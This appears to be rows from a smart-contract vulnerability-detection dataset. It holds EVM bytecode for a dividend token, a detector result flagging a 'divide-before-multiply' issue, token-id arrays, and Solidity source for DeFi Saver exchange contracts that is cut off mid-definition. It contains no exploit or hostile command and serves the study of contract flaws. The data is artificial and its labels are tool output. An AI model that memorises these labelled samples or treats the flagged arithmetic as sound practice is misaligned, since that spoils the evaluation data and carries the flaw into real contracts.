360640190fd5b600554610100900460ff1615610f4f576040805160e560020a62461bcd02815260206004820152601160248201527f616c726561647920616374697661746564000000000000000000000000000000604482015290519081900360640190fd5b6005805460ff1961ff001990911661010017166001179055565b6000808080610f7985600a611b8f565b9250610f858584611b2f565b9150610f9082611c1d565b90508093505b505050919050565b678ac7230489e8000081565b6009545b90565b600554610100900460ff1681565b6000806000806009548511151515610fd657600080fd5b610fdf85611cba565b9250610fec83600a611b8f565b9150610f908383611b2f565b601281565b600080600061100c6001611212565b1161101657600080fd5b3391506110236000611212565b600160a060020a038316600081815260086020908152604080832080546801000000000000000087020190556007909152808220805490839055905193019350909183156108fc0291849190818181858888f1935050505015801561108c573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b600080600080600954600014156110f05766027ca31f4bdc009350611120565b611101670de0b6b3a7640000611cba565b925061110e83600a611b8f565b915061111a8383611b2f565b90508093505b50505090565b336000908152600b602052604090205460ff16151561117d576040805160e560020a62461bcd0281526020600482015260166024820152600080516020611dec833981519152604482015290519081900360640190fd5b60055460ff1615156001146111dc576040805160e560020a62461bcd02815260206004820152601060248201527f6d7573742074727565206265666f726500000000000000000000000000000000604482015290519081900360640190fd5b6005805460ff19169055565b60025481565b674563918244f4000081565b60066020526000908152604090205481565b60045481565b600033826112285761122381610dcf565b61124c565b600160a060020a03811660009081526007602052604090205461124a82610dcf565b015b91505b50919050565b303190565b600160a060020a031660009081526006602052604090205490565b600b6020526000908152604090205460ff1681565b336000908152600b602052604090205460ff1615156112e1576040805160e560020a62461bcd0281526020600482015260166024820152600080516020611dec833981519152604482015290519081900360640190fd5b600255565b600080600080600954600014156113065766027ca7c763a4009350611120565b611317670de0b6b3a7640000611cba565b925061132483600a611b8f565b915061111a8383611ace565b336000908152600b602052604090205460ff161515611387576040805160e560020a62461bcd0281526020600482015260166024820152600080516020611dec833981519152604482015290519081900360640190fd5b600160a060020a03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000336113be8161125a565b91505b5090565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e905780601f10610e6557610100808354040283529160200191610e90565b681b1ae4d6e2ef50000081565b600554600090819081908190819060ff1615611480576040805160e560020a62461bcd02815260206004820152600f6024820152600080516020611e0c833981519152604482015290519081900360640190fd5b600061148a6113b2565b1161149457600080fd5b60055433945060ff161580156114c25750600160a060020a0384166000908152600660205260409020548611155b15156114cd57600080fd5b60006114d96001611212565b11156114e7576114e7610ffd565b6114f286600a611b8f565b92506114fe8684611b2f565b915061150983611cba565b905061151760095484611b2f565b600955600160a060020a03841660009081526006602052604090205461153d9087611b2f565b600160a060020a03808616600090815260066020526040808220939093559089168152205461156c9083611ace565b600160a060020a03888116600081815260066020908152604080832095909555600a8054948a16835260089091528482208054948c029094039093558254918152929092208054928502909201909155546009546115e091906801000000000000000084028115156115da57fe5b04611ace565b600a55604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b600c6020526000908152604090205481565b336000908152600b602052604090205460ff16151561169c576040805160e560020a62461bcd0281526020600482015260166024820152600080516020611dec833981519152604482015290519081900360640190fd5b80516116af906001906020840190611d5d565b5050565b66071afd498d000081565b336000908152600b602052604090205460ff161515611715576040805160e560020a62461bcd0281526020600482015260166024820152600080516020611dec833981519152604482015290519081900360640190fd5b80516116af906000906020840190611d5d565b60076020526000908152604090205481565b60086020526000908152604090205481565b6005546000908190819081908190819060ff16156117a2576040805160e560020a62461bcd02815260206004820152600f6024820152600080516020611e0c833981519152604482015290519081900360640190fd5b60006117ac6113b2565b116117b657600080fd5b336000818152600660205260409020549096508711156117d557600080fd5b8694506117e185611cba565b93506117ee84600a611b8f565b92506117fa8484611b2f565b915061180860095486611b2f565b600955600160a060020a03861660009081526006602052604090205461182e9086611b2f565b600160a060020a038716600090815260066020908152604080832093909355600a546008909152918120805492880268010000000000000000860201928390039055600954919250101561189e5761189a600a546009546801000000000000000086028115156115da57fe5b600a555b60408051868152602081018490528151600160a060020a038916927fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a31139928290030190a250505050505050565b336000818152600660205260408120549081111561190b5761190b8161174c565b6116af610ffd565b60055460009060ff61010090910416151560011461197b576040805160e560020a62461bcd02815260206004820152601160248201527f697473206e6f7420726561647920796574000000000000000000000000000000604482015290519081900360640190fd5b33600032821461198a57600080fd5b50803b80156119e3576040805160e560020a62461bcd02815260206004820152601160248201527f736f7272792068756d616e73206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b60055460ff16156119fe576119f834856107ad565b50611a08565b610f963485610afb565b5050919050565b60055460ff1681565b600080600080611a286001611212565b11611a3257600080fd5b611a3c6000611212565b33600081815260086020908152604080832080546801000000000000000087020190556007909152812080549082905590920194509250611a7e908490610afb565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b81810182811015611b29576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b600082821115611b89576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b6000808284811515611b9d57fe5b04949350505050565b6000821515611bb757506000611b29565b50818102818382811515611bc757fe5b0414611b29576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b6009546000906d22833dfcc980a7ba8c87000000009082906402540be400611ca7611ca1730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a020171a0b64d622462a4f83320f5ea7800000000008502017b04a71fbfa53ed7ddda14147218e57048a34fef31000000000000000001611d28565b85611b2f565b811515611cb057fe5b0403949350505050565b600954600090670de0b6b3a7640000838101918101908390611d1566027ca31f4bdc008285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be40002811515611d0f57fe5b04611b2f565b811515611d1e57fe5b0495945050505050565b80600260018201045b8181101561124f578091506002818285811515611d4a57fe5b0401811515611d5557fe5b049050611d31565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611d9e57805160ff1916838001178555611dcb565b82800160010185558215611dcb579182015b82811115611dcb578251825591602001919060010190611db0565b506113c192610fae9250905b808211156113c15760008155600101611dd756006d75737420696e2061646d696e6973747261746f727300000000000000000000697473206e6f7420696e2049434f2e0000000000000000000000000000000000a165627a7a723058200672d947a7a4c0d3ee04ad30adcf834a3c4fd0810b3e9c1144e13439cbace6fa0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 23352, 12376, 3401, 16576, 28756, 2575, 10322, 26224, 22022, 2683, 12879, 2692, 2063, 12376, 2546, 2683, 2546, 18939, 2620, 2620, 19481, 2509, 2098, 2497, 21084, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 5371, 1024, 8311, 1013, 3075, 1013, 3647, 18900, 2232, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1058, 2692, 1012, 1015, 1012, 1023, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 2689, 3964, 1024, 2434, 3647, 18900, 2232, 3075, 2013, 2330, 4371, 27877, 2378, 6310, 2011, 12235, 1008, 1011, 2794, 5490, 5339, 1008, 1011, 2794, 5490, 1008, 1011, 2794, 1052, 13088, 1008, 1011, 2904, 19514, 2000, 5942, 2007, 7561, 8833, 27852, 1008, 1011, 3718, 4487, 2615, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,777
0x97554b4027f673fe786ff027f8c30d73e6a99560
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; interface ERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(ERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. */ function safeApprove(ERC20 token, address spender, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(ERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } abstract contract TokenInterface { address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; function allowance(address, address) public virtual returns (uint256); function balanceOf(address) public virtual returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom(address, address, uint256) public virtual returns (bool); function deposit() public virtual payable; function withdraw(uint256) public virtual; } interface ExchangeInterfaceV3 { function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external payable returns (uint); function buy(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external payable returns(uint); function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external returns (uint); function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external returns (uint); } contract AdminAuth { using SafeERC20 for ERC20; address public owner; address public admin; modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmin() { require(admin == msg.sender); _; } constructor() public { owner = 0xBc841B0dE0b93205e912CFBBd1D0c160A1ec6F00; admin = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; } /// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner /// @param _admin Address of multisig that becomes admin function setAdminByOwner(address _admin) public { require(msg.sender == owner); require(admin == address(0)); admin = _admin; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function setAdminByAdmin(address _admin) public { require(msg.sender == admin); admin = _admin; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function setOwnerByAdmin(address _owner) public { require(msg.sender == admin); owner = _owner; } /// @notice Destroy the contract function kill() public onlyOwner { selfdestruct(payable(owner)); } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, uint _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(owner).transfer(_amount); } else { ERC20(_token).safeTransfer(owner, _amount); } } } contract ZrxAllowlist is AdminAuth { mapping (address => bool) public zrxAllowlist; mapping(address => bool) private nonPayableAddrs; constructor() public { zrxAllowlist[0x6958F5e95332D93D21af0D7B9Ca85B8212fEE0A5] = true; zrxAllowlist[0x61935CbDd02287B511119DDb11Aeb42F1593b7Ef] = true; zrxAllowlist[0xDef1C0ded9bec7F1a1670819833240f027b25EfF] = true; zrxAllowlist[0x080bf510FCbF18b91105470639e9561022937712] = true; nonPayableAddrs[0x080bf510FCbF18b91105470639e9561022937712] = true; } function setAllowlistAddr(address _zrxAddr, bool _state) public onlyOwner { zrxAllowlist[_zrxAddr] = _state; } function isZrxAddr(address _zrxAddr) public view returns (bool) { return zrxAllowlist[_zrxAddr]; } function addNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = true; } function removeNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = false; } function isNonPayableAddr(address _addr) public view returns(bool) { return nonPayableAddrs[_addr]; } } contract DFSExchangeData { // first is empty to keep the legacy order in place enum ExchangeType { _, OASIS, KYBER, UNISWAP, ZEROX } enum ActionType { SELL, BUY } struct OffchainData { address wrapper; address exchangeAddr; address allowanceTarget; uint256 price; uint256 protocolFee; bytes callData; } struct ExchangeData { address srcAddr; address destAddr; uint256 srcAmount; uint256 destAmount; uint256 minPrice; uint256 dfsFeeDivider; // service fee divider address user; // user to check special fee address wrapper; bytes wrapperData; OffchainData offchainData; } function packExchangeData(ExchangeData memory _exData) public pure returns(bytes memory) { return abi.encode(_exData); } function unpackExchangeData(bytes memory _data) public pure returns(ExchangeData memory _exData) { _exData = abi.decode(_data, (ExchangeData)); } } contract Discount { address public owner; mapping(address => CustomServiceFee) public serviceFees; uint256 constant MAX_SERVICE_FEE = 400; struct CustomServiceFee { bool active; uint256 amount; } constructor() public { owner = msg.sender; } function isCustomFeeSet(address _user) public view returns (bool) { return serviceFees[_user].active; } function getCustomServiceFee(address _user) public view returns (uint256) { return serviceFees[_user].amount; } function setServiceFee(address _user, uint256 _fee) public { require(msg.sender == owner, "Only owner"); require(_fee >= MAX_SERVICE_FEE || _fee == 0); serviceFees[_user] = CustomServiceFee({active: true, amount: _fee}); } function disableServiceFee(address _user) public { require(msg.sender == owner, "Only owner"); serviceFees[_user] = CustomServiceFee({active: false, amount: 0}); } } // SPDX-License-Identifier: MIT abstract contract IFeeRecipient { function getFeeAddr() public view virtual returns (address); function changeWalletAddr(address _newWallet) public virtual; } contract DFSExchangeHelper { string public constant ERR_OFFCHAIN_DATA_INVALID = "Offchain data invalid"; using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant EXCHANGE_WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IFeeRecipient public constant _feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant SAVER_EXCHANGE_REGISTRY = 0x25dd3F51e0C3c3Ff164DDC02A8E4D65Bb9cBB12D; address public constant ZRX_ALLOWLIST_ADDR = 0x4BA1f38427b33B8ab7Bb0490200dAE1F1C36823F; function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function getBalance(address _tokenAddr) internal view returns (uint balance) { if (_tokenAddr == KYBER_ETH_ADDRESS) { balance = address(this).balance; } else { balance = ERC20(_tokenAddr).balanceOf(address(this)); } } function sendLeftover(address _srcAddr, address _destAddr, address payable _to) internal { // send back any leftover ether or tokens if (address(this).balance > 0) { _to.transfer(address(this).balance); } if (getBalance(_srcAddr) > 0) { ERC20(_srcAddr).safeTransfer(_to, getBalance(_srcAddr)); } if (getBalance(_destAddr) > 0) { ERC20(_destAddr).safeTransfer(_to, getBalance(_destAddr)); } } /// @notice Takes a feePercentage and sends it to wallet /// @param _amount Dai amount of the whole trade /// @param _user Address of the user /// @param _token Address of the token /// @param _dfsFeeDivider Dfs fee divider /// @return feeAmount Amount in Dai owner earned on the fee function getFee(uint256 _amount, address _user, address _token, uint256 _dfsFeeDivider) internal returns (uint256 feeAmount) { if (_dfsFeeDivider != 0 && Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_user)) { _dfsFeeDivider = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_user); } if (_dfsFeeDivider == 0) { feeAmount = 0; } else { feeAmount = _amount / _dfsFeeDivider; // fee can't go over 10% of the whole amount if (feeAmount > (_amount / 10)) { feeAmount = _amount / 10; } address walletAddr = _feeRecipient.getFeeAddr(); if (_token == KYBER_ETH_ADDRESS) { payable(walletAddr).transfer(feeAmount); } else { ERC20(_token).safeTransfer(walletAddr, feeAmount); } } } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } function writeUint256(bytes memory _b, uint256 _index, uint _input) internal pure { if (_b.length < _index + 32) { revert(ERR_OFFCHAIN_DATA_INVALID); } bytes32 input = bytes32(_input); _index += 32; // Read the bytes32 from array memory assembly { mstore(add(_b, _index), input) } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? EXCHANGE_WETH_ADDRESS : _src; } } contract SaverExchangeRegistry is AdminAuth { mapping(address => bool) private wrappers; constructor() public { wrappers[0x880A845A85F843a5c67DB2061623c6Fc3bB4c511] = true; wrappers[0x4c9B55f2083629A1F7aDa257ae984E03096eCD25] = true; wrappers[0x42A9237b872368E1bec4Ca8D26A928D7d39d338C] = true; } function addWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = true; } function removeWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = false; } function isWrapper(address _wrapper) public view returns(bool) { return wrappers[_wrapper]; } } abstract contract OffchainWrapperInterface is DFSExchangeData { function takeOrder( ExchangeData memory _exData, ActionType _type ) virtual public payable returns (bool success, uint256); } contract DFSExchangeCore is DFSExchangeHelper, DSMath, DFSExchangeData { string public constant ERR_SLIPPAGE_HIT = "Slippage hit"; string public constant ERR_DEST_AMOUNT_MISSING = "Dest amount missing"; string public constant ERR_WRAPPER_INVALID = "Wrapper invalid"; string public constant ERR_NOT_ZEROX_EXCHANGE = "Zerox exchange invalid"; /// @notice Internal method that preforms a sell on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and destAmount function _sell(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(EXCHANGE_WETH_ADDRESS).deposit{value: exData.srcAmount}(); } exData.srcAmount -= getFee(exData.srcAmount, exData.user, exData.srcAddr, exData.dfsFeeDivider); // Try 0x first and then fallback on specific wrapper if (exData.offchainData.price > 0) { (success, swapedTokens) = takeOrder(exData, ActionType.SELL); if (success) { wrapper = exData.offchainData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.SELL); wrapper = exData.wrapper; } // if anything is left in weth, pull it to user as eth if (getBalance(EXCHANGE_WETH_ADDRESS) > 0) { TokenInterface(EXCHANGE_WETH_ADDRESS).withdraw( TokenInterface(EXCHANGE_WETH_ADDRESS).balanceOf(address(this)) ); } if (exData.destAddr == EXCHANGE_WETH_ADDRESS) { require(getBalance(KYBER_ETH_ADDRESS) >= wmul(exData.minPrice, exData.srcAmount), ERR_SLIPPAGE_HIT); } else { require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), ERR_SLIPPAGE_HIT); } return (wrapper, swapedTokens); } /// @notice Internal method that preforms a buy on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and srcAmount function _buy(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; require(exData.destAmount != 0, ERR_DEST_AMOUNT_MISSING); exData.srcAmount -= getFee(exData.srcAmount, exData.user, exData.srcAddr, exData.dfsFeeDivider); // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(EXCHANGE_WETH_ADDRESS).deposit{value: exData.srcAmount}(); } if (exData.offchainData.price > 0) { (success, swapedTokens) = takeOrder(exData, ActionType.BUY); if (success) { wrapper = exData.offchainData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.BUY); wrapper = exData.wrapper; } // if anything is left in weth, pull it to user as eth if (getBalance(EXCHANGE_WETH_ADDRESS) > 0) { TokenInterface(EXCHANGE_WETH_ADDRESS).withdraw( TokenInterface(EXCHANGE_WETH_ADDRESS).balanceOf(address(this)) ); } if (exData.destAddr == EXCHANGE_WETH_ADDRESS) { require(getBalance(KYBER_ETH_ADDRESS) >= exData.destAmount, ERR_SLIPPAGE_HIT); } else { require(getBalance(exData.destAddr) >= exData.destAmount, ERR_SLIPPAGE_HIT); } return (wrapper, getBalance(exData.destAddr)); } /// @notice Takes order from 0x and returns bool indicating if it is successful /// @param _exData Exchange data function takeOrder( ExchangeData memory _exData, ActionType _type ) private returns (bool success, uint256) { if (!ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.offchainData.exchangeAddr)) { return (false, 0); } if (!SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.offchainData.wrapper)) { return (false, 0); } // send src amount ERC20(_exData.srcAddr).safeTransfer(_exData.offchainData.wrapper, _exData.srcAmount); return OffchainWrapperInterface(_exData.offchainData.wrapper).takeOrder{value: _exData.offchainData.protocolFee}(_exData, _type); } /// @notice Calls wraper contract for exchage to preform an on-chain swap /// @param _exData Exchange data struct /// @param _type Type of action SELL|BUY /// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) { require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), ERR_WRAPPER_INVALID); ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount); if (_type == ActionType.SELL) { swapedTokens = ExchangeInterfaceV3(_exData.wrapper). sell(_exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.wrapperData); } else { swapedTokens = ExchangeInterfaceV3(_exData.wrapper). buy(_exData.srcAddr, _exData.destAddr, _exData.destAmount, _exData.wrapperData); } } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } abstract contract CTokenInterface is ERC20 { function mint(uint256 mintAmount) external virtual returns (uint256); // function mint() external virtual payable; function accrueInterest() public virtual returns (uint); function redeem(uint256 redeemTokens) external virtual returns (uint256); function redeemUnderlying(uint256 redeemAmount) external virtual returns (uint256); function borrow(uint256 borrowAmount) external virtual returns (uint256); function borrowIndex() public view virtual returns (uint); function borrowBalanceStored(address) public view virtual returns(uint); function repayBorrow(uint256 repayAmount) external virtual returns (uint256); function repayBorrow() external virtual payable; function repayBorrowBehalf(address borrower, uint256 repayAmount) external virtual returns (uint256); function repayBorrowBehalf(address borrower) external virtual payable; function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external virtual returns (uint256); function liquidateBorrow(address borrower, address cTokenCollateral) external virtual payable; function exchangeRateCurrent() external virtual returns (uint256); function supplyRatePerBlock() external virtual returns (uint256); function borrowRatePerBlock() external virtual returns (uint256); function totalReserves() external virtual returns (uint256); function reserveFactorMantissa() external virtual returns (uint256); function borrowBalanceCurrent(address account) external virtual returns (uint256); function totalBorrowsCurrent() external virtual returns (uint256); function getCash() external virtual returns (uint256); function balanceOfUnderlying(address owner) external virtual returns (uint256); function underlying() external virtual returns (address); function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint); } abstract contract CEtherInterface { function mint() external virtual payable; function repayBorrow() external virtual payable; } abstract contract CompoundOracleInterface { function getUnderlyingPrice(address cToken) external view virtual returns (uint); } abstract contract ComptrollerInterface { struct CompMarketState { uint224 index; 